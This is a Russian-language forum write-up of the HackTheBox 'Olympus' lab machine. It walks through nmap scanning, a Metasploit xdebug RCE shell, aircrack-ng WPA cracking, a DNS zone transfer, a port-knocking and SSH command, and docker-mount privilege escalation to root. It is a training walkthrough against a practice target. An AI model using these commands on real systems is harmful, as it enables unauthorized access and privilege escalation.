CTF:Writeup Olympus. HackTheBox.
@webware
Всем привет!
Читал вчера чатик, и там какой тип предлагал писать writeup на HTB, вот я и подрезал идейку, хотя я предлагал еще полгода назад)
Writeup на тачку Olympus, через несколько часов она улетает в архив)

Тачка на линуксе, сложность средняя.
Сканируем:
n01:~/ $ nmap -Pn -sV -sC --top-ports 1000 -T4 10.10.10.83 Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 11:07 EDT Nmap scan report for 10.10.10.83 Host is up (0.37s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp filtered ssh 53/tcp open domain (unknown banner: Bind) | dns-nsid: |_ bind.version: Bind | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind |_ Bind 80/tcp open http? 2222/tcp open ssh (protocol 2.0) | fingerprint-strings: | NULL: |_ SSH-2.0-City of olympia | ssh-hostkey: | 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA) | 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA) |_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519) 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port53-TCP:V=7.70%I=7%D=9/19%Time=5BA26686%P=x86_64-unknown-linux-gnu%r SF:(DNSVersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07vers SF:ion\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0 SF:\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port2222-TCP:V=7.70%I=7%D=9/19%Time=5BA26681%P=x86_64-unknown-linux-gnu SF:%r(NULL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\r\n"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 300.19 seconds
Сканером Nikto смотрит веб сервер и находим узявимый к RCE xdebug
Заюзаем метасплоит для получения шелла.

Получив шелл и осмотревшись, погуляв по директориям, находим 2 файла

Рассшифровываем captured.cap
aircrack-ng -w SecLists/wordlists/rockyou.txt captured.cap
Через 15-20 минут получаем ESSID Too_cl0se_to_th3_Sun и ключ flightoficarus Далее методом “научного тыка” получаем ssh имя пользователя icarus и пароль Too_cl0se_to_th3_Sun
Подключившись видим в домашней директории файл “Помощь Богов”

Понимаем что нам надо дигернуть домен
n01:~/ $ dig AXFR ctfolympus.htb @10.10.10.83 ; <<>> DiG 9.13.2 <<>> AXFR ctfolympus.htb @10.10.10.83 ;; global options: +cmd ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400 ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!" ctfolympus.htb. 86400 IN A 192.168.0.120 ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb. ctfolympus.htb. 86400 IN NS ns2.ctfolympus.htb. ctfolympus.htb. 86400 IN MX 10 mail.ctfolympus.htb. crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. mail.ctfolympus.htb. 86400 IN A 192.168.0.120 ns1.ctfolympus.htb. 86400 IN A 192.168.0.120 ns2.ctfolympus.htb. 86400 IN A 192.168.0.120 rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes" www.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400 ;; Query time: 50 msec ;; SERVER: 10.10.10.83#53(10.10.10.83) ;; WHEN: Ср сен 19 12:41:18 EDT 2018 ;; XFR size: 15 records (messages 1, bytes 475)
Получаем как бы подсказку, что бы открыть портал юзеру prometheus надо постучатся в три порта (port knocking) и использовать пароль St34l_th3_F1re!
Делаем длинную команду (можно написать баш скрипт, разница не велика), подключаемся и забираем флаг юзера
for x in 3456 8234 62431; do nmap -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.83 && sleep 1; done && ssh prometheus@10.10.10.83

Мы в докере. Флаг рут мы получаем примонтировав папку root в наш контейнер

docker run -v /root:/root -i -t olympia /bin/bash
P.S.
Есть второй вариант получения корневого флага, можно сгенерировать payload в метасплоите, закинуть на хост и потом воспользоватся модулем
linux/local/docker_daemon_privilege_escalation

Вот как бы и все!